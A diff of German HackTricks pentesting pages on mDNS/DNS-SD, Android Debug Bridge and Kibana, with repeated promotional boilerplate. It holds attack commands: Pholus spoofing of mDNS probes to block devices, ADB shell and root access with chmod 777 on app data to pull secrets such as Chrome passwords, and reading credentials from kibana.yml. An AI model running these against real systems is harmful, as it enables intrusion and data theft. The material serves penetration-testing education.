<summary><strong>Lernen Sie das Hacken von AWS von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [offizielle PEASS & HackTricks-Merchandise](https://peass.creator-spring.com)
* Entdecken Sie [The PEASS Family](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [NFTs](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [Discord-Gruppe](https://discord.gg/hRep4RUj7f) oder der [Telegram-Gruppe](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [HackTricks](https://github.com/carlospolop/hacktricks) **und** [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
</details>
{% endhint %}

View file

@ -1,67 +1,67 @@
# 5353/UDP Multicast DNS (mDNS) und DNS-SD
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
## **Grundlegende Informationen**
## **Grundinformationen**
**Multicast DNS (mDNS)** ermöglicht **DNS-ähnliche Operationen** innerhalb lokaler Netzwerke, ohne einen traditionellen DNS-Server zu benötigen. Es arbeitet auf **UDP-Port 5353** und ermöglicht es Geräten, sich gegenseitig und ihre Dienste zu entdecken, was häufig bei verschiedenen IoT-Geräten zu sehen ist. **DNS Service Discovery (DNS-SD)**, oft zusammen mit mDNS verwendet, hilft bei der Identifizierung von auf dem Netzwerk verfügbaren Diensten durch standardmäßige DNS-Abfragen.
**Multicast DNS (mDNS)** ermöglicht **DNS-ähnliche Operationen** innerhalb lokaler Netzwerke, ohne einen traditionellen DNS-Server zu benötigen. Es arbeitet auf **UDP-Port 5353** und ermöglicht es Geräten, sich gegenseitig und ihre Dienste zu entdecken, was häufig bei verschiedenen IoT-Geräten zu sehen ist. **DNS Service Discovery (DNS-SD)**, das oft zusammen mit mDNS verwendet wird, hilft dabei, Dienste zu identifizieren, die im Netzwerk über standardisierte DNS-Abfragen verfügbar sind.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **Funktionsweise von mDNS**
### **Betrieb von mDNS**
In Umgebungen ohne einen Standard-DNS-Server ermöglicht mDNS Geräten, Domänennamen mit der Endung **.local** aufzulösen, indem sie die Multicast-Adresse **224.0.0.251** (IPv4) oder **FF02::FB** (IPv6) abfragen. Wichtige Aspekte von mDNS sind ein **Time-to-Live (TTL)**-Wert, der die Gültigkeit des Eintrags angibt, und ein **QU-Bit**, das zwischen Unicast- und Multicast-Anfragen unterscheidet. In Bezug auf die Sicherheit ist es entscheidend, dass mDNS-Implementierungen überprüfen, ob die Quelladresse des Pakets mit dem lokalen Subnetz übereinstimmt.
In Umgebungen ohne einen standardmäßigen DNS-Server ermöglicht mDNS Geräten, Domainnamen, die auf **.local** enden, aufzulösen, indem die Multicast-Adresse **224.0.0.251** (IPv4) oder **FF02::FB** (IPv6) abgefragt wird. Wichtige Aspekte von mDNS umfassen einen **Time-to-Live (TTL)**-Wert, der die Gültigkeit des Eintrags angibt, und ein **QU-Bit**, das zwischen Unicast- und Multicast-Abfragen unterscheidet. Sicherheitsmäßig ist es entscheidend, dass mDNS-Implementierungen überprüfen, ob die Quelladresse des Pakets mit dem lokalen Subnetz übereinstimmt.
### **Funktionsweise von DNS-SD**
DNS-SD erleichtert die Entdeckung von Netzwerkdiensten, indem es nach Zeiger-Einträgen (PTR) sucht, die Diensttypen ihren Instanzen zuordnen. Dienste werden mit einem Muster **_\<Service>.\_tcp oder \_\<Service>.\_udp** innerhalb der **.local**-Domäne identifiziert, was zur Entdeckung entsprechender **SRV**- und **TXT-Einträge** führt, die detaillierte Informationen über den Dienst bereitstellen.
DNS-SD erleichtert die Entdeckung von Netzwerkdiensten, indem nach Zeigeraufzeichnungen (PTR) gefragt wird, die Diensttypen ihren Instanzen zuordnen. Dienste werden mithilfe eines **_\<Service>.\_tcp oder \_\<Service>.\_udp**-Musters innerhalb der **.local**-Domain identifiziert, was zur Entdeckung entsprechender **SRV**- und **TXT-Aufzeichnungen** führt, die detaillierte Dienstinformationen bereitstellen.
### **Netzwerkerkundung**
#### **Verwendung von nmap**
#### **nmap-Nutzung**
Ein nützlicher Befehl zum Scannen des lokalen Netzwerks nach mDNS-Diensten ist:
```bash
nmap -Pn -sUC -p5353 [target IP address]
```
Dieser Befehl hilft dabei, offene mDNS-Ports zu identifizieren und die darüber beworbenen Dienste zu ermitteln.
Dieser Befehl hilft, offene mDNS-Ports und die über sie beworbenen Dienste zu identifizieren.
#### **Netzwerk-Enumeration mit Pholus**
#### **Netzwerkenumeration mit Pholus**
Um aktiv mDNS-Anfragen zu senden und den Datenverkehr zu erfassen, kann das Tool **Pholus** wie folgt verwendet werden:
Um aktiv mDNS-Anfragen zu senden und den Datenverkehr zu erfassen, kann das **Pholus**-Tool wie folgt verwendet werden:
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
```
## Angriffe
### **Ausnutzung von mDNS-Probing**
### **Ausnutzen von mDNS-Probing**
Ein Angriffsvektor besteht darin, gefälschte Antworten auf mDNS-Probes zu senden, die darauf hinweisen, dass alle potenziellen Namen bereits verwendet werden, um neue Geräte daran zu hindern, einen eindeutigen Namen auszuwählen. Dies kann mit folgendem Befehl ausgeführt werden:
Ein Angriffsvektor besteht darin, gefälschte Antworten auf mDNS-Probes zu senden, die vorschlagen, dass alle potenziellen Namen bereits in Verwendung sind, wodurch neue Geräte daran gehindert werden, einen eindeutigen Namen auszuwählen. Dies kann durchgeführt werden mit:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
```
Diese Technik blockiert effektiv neue Geräte daran, ihre Dienste im Netzwerk zu registrieren.
**Zusammenfassend** ist es wichtig, das Funktionieren von mDNS und DNS-SD für das Netzwerkmanagement und die Sicherheit zu verstehen. Tools wie **nmap** und **Pholus** bieten wertvolle Einblicke in lokale Netzwerkdienste, während das Bewusstsein für potenzielle Schwachstellen bei der Abwehr von Angriffen hilft.
**Zusammenfassend** ist das Verständnis der Funktionsweise von mDNS und DNS-SD entscheidend für das Netzwerkmanagement und die Sicherheit. Tools wie **nmap** und **Pholus** bieten wertvolle Einblicke in lokale Netzwerkdienste, während das Bewusstsein für potenzielle Schwachstellen hilft, sich gegen Angriffe abzusichern.
### Spoofing/MitM
Der interessanteste Angriff, den Sie über diesen Dienst durchführen können, besteht darin, einen **MitM-Angriff** in der **Kommunikation zwischen dem Client und dem echten Server** durchzuführen. Möglicherweise können Sie sensible Dateien (MitM-Angriff auf die Kommunikation mit dem Drucker) oder sogar Anmeldeinformationen (Windows-Authentifizierung) erhalten.\
Weitere Informationen finden Sie unter:
Der interessanteste Angriff, den Sie über diesen Dienst durchführen können, ist ein **MitM** in der **Kommunikation zwischen dem Client und dem echten Server**. Sie könnten in der Lage sein, sensible Dateien (MitM der Kommunikation mit dem Drucker) oder sogar Anmeldeinformationen (Windows-Authentifizierung) zu erhalten.\
Für weitere Informationen siehe:
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
@ -71,16 +71,17 @@ Weitere Informationen finden Sie unter:
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# 5555 - Android Debug Bridge
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
Aus [der Dokumentation](https://developer.android.com/studio/command-line/adb):
Von [den Dokumenten](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) ist ein vielseitiges Befehlszeilentool, mit dem Sie mit einem Gerät kommunizieren können. Der adb-Befehl ermöglicht verschiedene Geräteaktionen wie **Installation und Debugging von Apps** und bietet **Zugriff auf eine Unix-Shell**, mit der Sie verschiedene Befehle auf einem Gerät ausführen können.
**Android Debug Bridge** (adb) ist ein vielseitiges Befehlszeilenwerkzeug, mit dem Sie mit einem Gerät kommunizieren können. Der adb-Befehl erleichtert eine Vielzahl von Geräteaktionen, wie z. B. **das Installieren und Debuggen von Apps**, und bietet **Zugriff auf eine Unix-Shell**, die Sie verwenden können, um eine Vielzahl von Befehlen auf einem Gerät auszuführen.
**Standardport**: 5555.
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Verbindung herstellen
## Connect
Wenn Sie den ADB-Dienst auf einem Gerät finden, der auf einem bestimmten Port läuft, und Sie sich damit verbinden können, **können Sie eine Shell im System erhalten:**
Wenn Sie den ADB-Dienst, der an einem Port eines Geräts läuft, finden und sich damit verbinden können, **können Sie eine Shell im System erhalten:**
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
Für weitere ADB-Befehle überprüfen Sie die folgende Seite:
Für weitere ADB-Befehle siehe die folgende Seite:
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
@ -41,29 +42,30 @@ Für weitere ADB-Befehle überprüfen Sie die folgende Seite:
### App-Daten dumpen
Um die Daten einer Anwendung vollständig herunterzuladen, können Sie Folgendes tun:
Um die Daten einer Anwendung vollständig herunterzuladen, können Sie:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
Du kannst diesen Trick verwenden, um sensible Informationen wie Chrome-Passwörter abzurufen. Weitere Informationen dazu findest du in den bereitgestellten Informationen und Referenzen [hier](https://github.com/carlospolop/hacktricks/issues/274).
Du kannst diesen Trick verwenden, um **sensible Informationen wie Chrome-Passwörter abzurufen**. Für weitere Informationen dazu siehe die bereitgestellten Informationen und Referenzen [**hier**](https://github.com/carlospolop/hacktricks/issues/274).
## Shodan
* `Android Debug Bridge`
* `android debug bridge`
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn du dein **Unternehmen in HackTricks bewerben möchtest** oder **HackTricks als PDF herunterladen möchtest**, schau dir die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop) an!
* Hol dir das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folge** uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teile deine Hacking-Tricks, indem du Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories sendest.**
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
Kibana ist bekannt für seine Fähigkeit, Daten in Elasticsearch zu suchen und zu visualisieren, normalerweise auf Port **5601**. Es dient als Schnittstelle für die Überwachungs-, Verwaltungs- und Sicherheitsfunktionen des Elastic Stack-Clusters.
Kibana ist bekannt für seine Fähigkeit, Daten innerhalb von Elasticsearch zu durchsuchen und zu visualisieren, typischerweise läuft es auf Port **5601**. Es dient als Schnittstelle für die Überwachungs-, Verwaltungs- und Sicherheitsfunktionen des Elastic Stack Clusters.
## Verständnis der Authentifizierung
Der Authentifizierungsprozess in Kibana ist untrennbar mit den **Anmeldeinformationen verbunden, die in Elasticsearch verwendet werden**. Wenn Elasticsearch die Authentifizierung deaktiviert hat, kann auf Kibana ohne Anmeldeinformationen zugegriffen werden. Umgekehrt werden bei gesicherter Elasticsearch die gleichen Anmeldeinformationen benötigt, um auf Kibana zuzugreifen, wobei die gleichen Benutzerberechtigungen auf beiden Plattformen beibehalten werden. Die Anmeldeinformationen können in der Datei **/etc/kibana/kibana.yml** gefunden werden. Wenn diese Anmeldeinformationen nicht den Benutzer **kibana_system** betreffen, können sie umfassendere Zugriffsrechte bieten, da der Zugriff des Benutzers kibana_system auf Überwachungs-APIs und den .kibana-Index beschränkt ist.
Der Authentifizierungsprozess in Kibana ist eng mit den **Anmeldeinformationen, die in Elasticsearch verwendet werden**, verbunden. Wenn die Authentifizierung in Elasticsearch deaktiviert ist, kann Kibana ohne Anmeldeinformationen aufgerufen werden. Umgekehrt, wenn Elasticsearch mit Anmeldeinformationen gesichert ist, sind dieselben Anmeldeinformationen erforderlich, um auf Kibana zuzugreifen, wodurch identische Benutzerberechtigungen auf beiden Plattformen aufrechterhalten werden. Anmeldeinformationen könnten in der **/etc/kibana/kibana.yml** Datei gefunden werden. Wenn diese Anmeldeinformationen nicht zum **kibana_system** Benutzer gehören, könnten sie breitere Zugriffsrechte bieten, da der Zugriff des kibana_system Benutzers auf Überwachungs-APIs und den .kibana Index beschränkt ist.
## Aktionen nach dem Zugriff
## Maßnahmen nach dem Zugriff
Sobald der Zugriff auf Kibana gesichert ist, sind mehrere Aktionen ratsam:
Sobald der Zugriff auf Kibana gesichert ist, sind mehrere Maßnahmen ratsam:
- Die Erkundung von Daten aus Elasticsearch sollte Priorität haben.
- Die Möglichkeit, Benutzer zu verwalten, einschließlich der Bearbeitung, Löschung oder Erstellung neuer Benutzer, Rollen oder API-Schlüssel, befindet sich unter Stack Management -> Users/Roles/API Keys.
- Es ist wichtig, die installierte Version von Kibana auf bekannte Sicherheitslücken zu überprüfen, wie z.B. die RCE-Sicherheitslücke in Versionen vor 6.6.0 ([Weitere Informationen](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
- Es ist wichtig, die installierte Version von Kibana auf bekannte Schwachstellen zu überprüfen, wie die RCE-Schwachstelle, die in Versionen vor 6.6.0 identifiziert wurde ([Mehr Infos](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
## SSL/TLS-Überlegungen
## SSL/TLS Überlegungen
In Fällen, in denen SSL/TLS nicht aktiviert ist, sollte das Potenzial für das Auslaufen sensibler Informationen gründlich bewertet werden.
In Fällen, in denen SSL/TLS nicht aktiviert ist, sollte das Potenzial für das Leaken sensibler Informationen gründlich bewertet werden.
## Referenzen
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# 5671,5672 - Pentesting AMQP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
